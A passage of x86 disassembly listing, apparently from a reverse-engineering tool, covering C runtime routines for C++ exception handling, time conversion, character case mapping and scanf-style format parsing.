call sub_41D22C
pop ecx
retn
sub_41D1BC endp
; =============== S U B R O U T I N E =======================================
sub_41D1C6 proc near ; DATA XREF: ___:00424884o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_4181E2
pop ecx
pop ecx
xor eax, eax
jmp short loc_41D1AD
sub_41D1C6 endp
; ---------------------------------------------------------------------------
loc_41D1DE: ; DATA XREF: ___:00424878o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41D1E6 proc near ; CODE XREF: sub_41D120+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_48A090, eax
mov eax, [ebp-20h]
mov dword_48A094, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_41D22B
cmp dword ptr [edi+10h], 3
jnz short locret_41D22B
cmp dword ptr [edi+14h], 19930520h
jnz short locret_41D22B
cmp [ebp-24h], ebx
jnz short locret_41D22B
cmp [ebp-2Ch], ebx
jz short locret_41D22B
call sub_41824A
push eax
push edi
call sub_41D41A
pop ecx
pop ecx
locret_41D22B: ; CODE XREF: sub_41D1E6+1Cj
; sub_41D1E6+22j ...
retn
sub_41D1E6 endp
; =============== S U B R O U T I N E =======================================
sub_41D22C proc near ; CODE XREF: sub_41D1BC+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41D253
cmp dword ptr [eax+10h], 3
jnz short loc_41D253
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41D253
cmp dword ptr [eax+1Ch], 0
jnz short loc_41D253
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41D253: ; CODE XREF: sub_41D22C+Cj
; sub_41D22C+12j ...
xor eax, eax
retn
sub_41D22C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D256 proc near ; CODE XREF: sub_41D0A5+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424888
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_41D3FF
cmp byte ptr [eax+8], 0
jz loc_41D3FF
mov eax, [ecx+8]
test eax, eax
jz loc_41D3FF
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_41D2F3
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_4208D2
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
push 1
push edi
call sub_4208EE
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41D2E4: ; CODE XREF: sub_41D256+F5j
push eax
call sub_41D481
pop ecx
pop ecx
mov [edi], eax
jmp loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D2F3: ; CODE XREF: sub_41D256+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41D34D
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_4208D2
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
push 1
push edi
call sub_4208EE
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_4182C0
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_41D3FB
mov eax, [edi]
test eax, eax
jz loc_41D3FB
add esi, 8
push esi
jmp short loc_41D2E4
; ---------------------------------------------------------------------------
loc_41D34D: ; CODE XREF: sub_41D256+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_41D395
call sub_4208D2
pop ecx
pop ecx
test eax, eax
jz loc_41D3F6
push 1
push edi
call sub_4208EE
pop ecx
pop ecx
test eax, eax
jz short loc_41D3F6
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_41D481
pop ecx
pop ecx
push eax
push edi
call sub_4182C0
add esp, 0Ch
jmp short loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D395: ; CODE XREF: sub_41D256+103j
call sub_4208D2
pop ecx
pop ecx
test eax, eax
jz short loc_41D3F6
push 1
push edi
call sub_4208EE
pop ecx
pop ecx
test eax, eax
jz short loc_41D3F6
push dword ptr [esi+18h]
call sub_42090A
pop ecx
test eax, eax
jz short loc_41D3F6
test byte ptr [esi], 4
jz short loc_41D3DC
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41D481
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_417EF5
jmp short loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D3DC: ; CODE XREF: sub_41D256+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41D481
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_417EEE
jmp short loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D3F6: ; CODE XREF: sub_41D256+6Aj
; sub_41D256+7Cj ...
call sub_41D552
loc_41D3FB: ; CODE XREF: sub_41D256+98j
; sub_41D256+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_41D3FF: ; CODE XREF: sub_41D256+2Ej
; sub_41D256+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D256 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41D4FC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D41A proc near ; CODE XREF: sub_41CD45+170p
; sub_41D1E6+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424898
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_41D461
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_41D461
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_417EEE
or [ebp+var_4], 0FFFFFFFFh
loc_41D461: ; CODE XREF: sub_41D41A+2Aj
; sub_41D41A+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41D41A endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41D4FC
; =============== S U B R O U T I N E =======================================
sub_41D481 proc near ; CODE XREF: sub_41D256+8Fp
; sub_41D256+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41D4A2
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41D4A2: ; CODE XREF: sub_41D481+12j
pop esi
retn
sub_41D481 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4B0 proc near ; CODE XREF: sub_417F81+40p
; sub_41CFF1+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41826D
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_41D4EF
mov ecx, 2
loc_41D4EF: ; CODE XREF: sub_41D4B0+38j
push ecx
call sub_41826D
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_41D4B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4FC proc near ; CODE XREF: sub_41CD45:loc_41CEE7j
; sub_41D08F:loc_41D0A0j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4248A8
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_48A09C
test eax, eax
jz short loc_41D544
mov [ebp+var_4], 1
call eax
jmp short loc_41D540
; ---------------------------------------------------------------------------
loc_41D539: ; DATA XREF: ___:004248B8o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41D53D: ; DATA XREF: ___:004248BCo
mov esp, [ebp+var_18]
loc_41D540: ; CODE XREF: sub_41D4FC+3Bj
and [ebp+var_4], 0
loc_41D544: ; CODE XREF: sub_41D4FC+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41D54D: ; DATA XREF: ___:004248B0o
jmp loc_420922
sub_41D4FC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D552 proc near ; CODE XREF: sub_418123+23p
; sub_418123:loc_41818Ep ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4248C0
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43B924
test eax, eax
jz short loc_41D59A
mov [ebp+var_4], 1
call eax ; sub_41D4FC
jmp short loc_41D596
; ---------------------------------------------------------------------------
loc_41D58F: ; DATA XREF: ___:004248D0o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41D593: ; DATA XREF: ___:004248D4o
mov esp, [ebp+var_18]
loc_41D596: ; CODE XREF: sub_41D552+3Bj
and [ebp+var_4], 0
loc_41D59A: ; CODE XREF: sub_41D552+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41D5A3: ; DATA XREF: ___:004248C8o
jmp sub_41D4FC
sub_41D552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D5A8 proc near ; CODE XREF: sub_418603+7p
; sub_418603+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_48B688
push esi
cmp eax, 3
jnz short loc_41D5D1
mov esi, [ebp+arg_0]
push esi
call sub_41AD89
test eax, eax
pop ecx
jz short loc_41D5CE
mov eax, [esi-4]
sub eax, 9
jmp short loc_41D606
; ---------------------------------------------------------------------------
loc_41D5CE: ; CODE XREF: sub_41D5A8+1Cj
push esi
jmp short loc_41D5F8
; ---------------------------------------------------------------------------
loc_41D5D1: ; CODE XREF: sub_41D5A8+Ej
cmp eax, 2
jnz short loc_41D5F5
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41BAE4
add esp, 0Ch
test eax, eax
jz short loc_41D5F5
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_41D606
; ---------------------------------------------------------------------------
loc_41D5F5: ; CODE XREF: sub_41D5A8+2Cj
; sub_41D5A8+43j
push [ebp+arg_0]
loc_41D5F8: ; CODE XREF: sub_41D5A8+27j
push 0
push dword_48B684
nop
call near ptr 284053Eh
loc_41D606: ; CODE XREF: sub_41D5A8+24j
; sub_41D5A8+4Bj
pop esi
leave
retn
sub_41D5A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D609 proc near ; CODE XREF: sub_4186B1+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_41D6C5
cmp ebx, 8Ah
jg loc_41D6C5
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43C054[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_41D648
cmp edi, 2
jle short loc_41D648
inc esi
loc_41D648: ; CODE XREF: sub_41D609+37j
; sub_41D609+3Cj
call sub_420939
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43BF70
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_41D6BB
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_41D6C1
cmp dword_43BF74, 0
jz short loc_41D6C1
lea eax, [ebp+var_24]
push eax
call sub_420BAC
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_41D6C1
loc_41D6BB: ; CODE XREF: sub_41D609+90j
add ecx, dword_43BF78
loc_41D6C1: ; CODE XREF: sub_41D609+96j
; sub_41D609+9Fj ...
mov eax, ecx
jmp short loc_41D6C8
; ---------------------------------------------------------------------------
loc_41D6C5: ; CODE XREF: sub_41D609+13j
; sub_41D609+1Fj
or eax, 0FFFFFFFFh
loc_41D6C8: ; CODE XREF: sub_41D609+BAj
pop ebx
leave
retn
sub_41D609 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D6CB proc near ; CODE XREF: sub_418833+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_48A0A8, 0
push ebx
jnz short loc_41D6F6
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41D794
cmp eax, 7Ah
jg loc_41D794
sub eax, 20h
jmp loc_41D794
; ---------------------------------------------------------------------------
loc_41D6F6: ; CODE XREF: sub_41D6CB+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41D729
cmp dword_4397AC, 1
jle short loc_41D716
push 2
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41D721
; ---------------------------------------------------------------------------
loc_41D716: ; CODE XREF: sub_41D6CB+3Dj
mov eax, off_4395A0
mov al, [eax+ebx*2]
and eax, 2
loc_41D721: ; CODE XREF: sub_41D6CB+49j
test eax, eax
jnz short loc_41D729
loc_41D725: ; CODE XREF: sub_41D6CB+AFj
mov eax, ebx
jmp short loc_41D794
; ---------------------------------------------------------------------------
loc_41D729: ; CODE XREF: sub_41D6CB+34j
; sub_41D6CB+58j
mov edx, off_4395A0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D74C
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41D755
; ---------------------------------------------------------------------------
loc_41D74C: ; CODE XREF: sub_41D6CB+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41D755: ; CODE XREF: sub_41D6CB+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_48A0A8
call sub_41E709
add esp, 20h
test eax, eax
jz short loc_41D725
cmp eax, 1
jnz short loc_41D787
movzx eax, [ebp+var_4]
jmp short loc_41D794
; ---------------------------------------------------------------------------
loc_41D787: ; CODE XREF: sub_41D6CB+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41D794: ; CODE XREF: sub_41D6CB+14j
; sub_41D6CB+1Dj ...
pop ebx
leave
retn
sub_41D6CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D797 proc near ; CODE XREF: sub_418A52+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_41E19D
mov edi, [ebp+arg_0]
jmp short loc_41D7C6
; ---------------------------------------------------------------------------
loc_41D7C1: ; CODE XREF: sub_41D797+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41D7C6: ; CODE XREF: sub_41D797+28j
cmp dword_4397AC, 1
jle short loc_41D7DE
movzx eax, al
push 8
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_41D7ED
; ---------------------------------------------------------------------------
loc_41D7DE: ; CODE XREF: sub_41D797+36j
mov ecx, off_4395A0
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_41D7ED: ; CODE XREF: sub_41D797+45j
cmp eax, ebx
jz short loc_41D827
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41E224
pop ecx
pop ecx
push eax
call sub_41E20D
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_420F60
add esp, 0Ch
loc_41D815: ; CODE XREF: sub_41D797+8Ej
test eax, eax
jz short loc_41D827
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_420F60
pop ecx
jmp short loc_41D815
; ---------------------------------------------------------------------------
loc_41D827: ; CODE XREF: sub_41D797+58j
; sub_41D797+80j
cmp byte ptr [esi], 25h
jnz loc_41E109
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_41D85E: ; CODE XREF: sub_41D797+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_4397AC, 1
jle short loc_41D87B
movzx eax, bl
push 4
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_41D88A
; ---------------------------------------------------------------------------
loc_41D87B: ; CODE XREF: sub_41D797+D3j
mov ecx, off_4395A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41D88A: ; CODE XREF: sub_41D797+E2j
test eax, eax
jz short loc_41D8A0
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8A0: ; CODE XREF: sub_41D797+F5j
cmp ebx, 4Eh
jg short loc_41D8E3
jz short loc_41D905
cmp ebx, 2Ah
jz short loc_41D8DE
cmp ebx, 46h
jz short loc_41D905
cmp ebx, 49h
jz short loc_41D8C0
cmp ebx, 4Ch
jnz short loc_41D8F2
inc [ebp+var_D]
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8C0: ; CODE XREF: sub_41D797+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_41D8F2
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_41D8F2
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8DE: ; CODE XREF: sub_41D797+113j
inc [ebp+var_E]
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8E3: ; CODE XREF: sub_41D797+10Cj
cmp ebx, 68h
jz short loc_41D8FF
cmp ebx, 6Ch
jz short loc_41D8F7
cmp ebx, 77h
jz short loc_41D8FA
loc_41D8F2: ; CODE XREF: sub_41D797+122j
; sub_41D797+12Dj ...
inc [ebp+var_F]
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8F7: ; CODE XREF: sub_41D797+154j
inc [ebp+var_D]
loc_41D8FA: ; CODE XREF: sub_41D797+159j
inc [ebp+var_5]
jmp short loc_41D905
; ---------------------------------------------------------------------------
loc_41D8FF: ; CODE XREF: sub_41D797+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41D905: ; CODE XREF: sub_41D797+107j
; sub_41D797+10Ej ...
cmp [ebp+var_F], 0
jz loc_41D85E
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_41D92A
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_41D92A: ; CODE XREF: sub_41D797+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41D948
mov al, [esi]
cmp al, 53h
jz short loc_41D944
cmp al, 43h
jz short loc_41D944
or [ebp+var_5], 0FFh
jmp short loc_41D948
; ---------------------------------------------------------------------------
loc_41D944: ; CODE XREF: sub_41D797+1A1j
; sub_41D797+1A5j
mov [ebp+var_5], 1
loc_41D948: ; CODE XREF: sub_41D797+19Bj
; sub_41D797+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_41D981
cmp esi, 63h
jz short loc_41D972
cmp esi, 7Bh
jz short loc_41D972
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41E224
pop ecx
jmp short loc_41D97D
; ---------------------------------------------------------------------------
loc_41D972: ; CODE XREF: sub_41D797+1C5j
; sub_41D797+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
loc_41D97D: ; CODE XREF: sub_41D797+1D9j
pop ecx
mov [ebp+var_14], eax
loc_41D981: ; CODE XREF: sub_41D797+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_41D991
cmp [ebp+var_C], eax
jz loc_41E16D
loc_41D991: ; CODE XREF: sub_41D797+1EFj
cmp esi, 6Fh
jg loc_41DBF8
jz loc_41DEAA
cmp esi, 63h
jz loc_41DBD5
cmp esi, 64h
jz loc_41DEAA
jle loc_41DC22
cmp esi, 67h
jle short loc_41D9F5
cmp esi, 69h
jz short loc_41D9DD
cmp esi, 6Eh
jnz loc_41DC22
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41E0D8
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41D9DD: ; CODE XREF: sub_41D797+229j
push 64h
pop esi
loc_41D9E0: ; CODE XREF: sub_41D797+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_41DC6A
mov [ebp+var_17], 1
jmp loc_41DC6F
; ---------------------------------------------------------------------------
loc_41D9F5: ; CODE XREF: sub_41D797+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_41DA11
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41DA16
; ---------------------------------------------------------------------------
loc_41DA11: ; CODE XREF: sub_41D797+26Aj
cmp ebx, 2Bh
jnz short loc_41DA2D
loc_41DA16: ; CODE XREF: sub_41D797+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41DA30
; ---------------------------------------------------------------------------
loc_41DA2D: ; CODE XREF: sub_41D797+27Dj
mov edi, [ebp+arg_0]
loc_41DA30: ; CODE XREF: sub_41D797+294j
cmp [ebp+var_20], 0
jz short loc_41DA3F
cmp [ebp+var_C], 15Dh
jle short loc_41DA46
loc_41DA3F: ; CODE XREF: sub_41D797+29Dj
mov [ebp+var_C], 15Dh
loc_41DA46: ; CODE XREF: sub_41D797+2A6j
; sub_41D797+2F2j
cmp dword_4397AC, 1
jle short loc_41DA5B
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DA66
; ---------------------------------------------------------------------------
loc_41DA5B: ; CODE XREF: sub_41D797+2B6j
mov eax, off_4395A0
mov al, [eax+ebx*2]
and eax, 4
loc_41DA66: ; CODE XREF: sub_41D797+2C2j
test eax, eax
jz short loc_41DA8B
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DA8B
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41DA46
; ---------------------------------------------------------------------------
loc_41DA8B: ; CODE XREF: sub_41D797+2D1j
; sub_41D797+2DBj
cmp byte_4397B0, bl
jnz short loc_41DAF9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DAF9
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
mov al, byte_4397B0
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41DAB4: ; CODE XREF: sub_41D797+360j
cmp dword_4397AC, 1
jle short loc_41DAC9
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DAD4
; ---------------------------------------------------------------------------
loc_41DAC9: ; CODE XREF: sub_41D797+324j
mov eax, off_4395A0
mov al, [eax+ebx*2]
and eax, 4
loc_41DAD4: ; CODE XREF: sub_41D797+330j
test eax, eax
jz short loc_41DAF9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DAF9
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41DAB4
; ---------------------------------------------------------------------------
loc_41DAF9: ; CODE XREF: sub_41D797+2FAj
; sub_41D797+304j ...
cmp [ebp+var_1C], 0
jz loc_41DB91
cmp ebx, 65h
jz short loc_41DB11
cmp ebx, 45h
jnz loc_41DB91
loc_41DB11: ; CODE XREF: sub_41D797+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DB91
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41DB38
mov [esi], al
inc esi
jmp short loc_41DB3D
; ---------------------------------------------------------------------------
loc_41DB38: ; CODE XREF: sub_41D797+39Aj
cmp ebx, 2Bh
jnz short loc_41DB5B
loc_41DB3D: ; CODE XREF: sub_41D797+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_41DB4C
and [ebp+var_C], eax
jmp short loc_41DB5B
; ---------------------------------------------------------------------------
loc_41DB4C: ; CODE XREF: sub_41D797+3AEj
; sub_41D797+3F8j
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41DB5B: ; CODE XREF: sub_41D797+3A4j
; sub_41D797+3B3j
cmp dword_4397AC, 1
jle short loc_41DB70
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DB7B
; ---------------------------------------------------------------------------
loc_41DB70: ; CODE XREF: sub_41D797+3CBj
mov eax, off_4395A0
mov al, [eax+ebx*2]
and eax, 4
loc_41DB7B: ; CODE XREF: sub_41D797+3D7j
test eax, eax
jz short loc_41DB91
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DB91
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_41DB4C
; ---------------------------------------------------------------------------
loc_41DB91: ; CODE XREF: sub_41D797+366j
; sub_41D797+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_41E20D
cmp [ebp+var_1C], 0
pop ecx
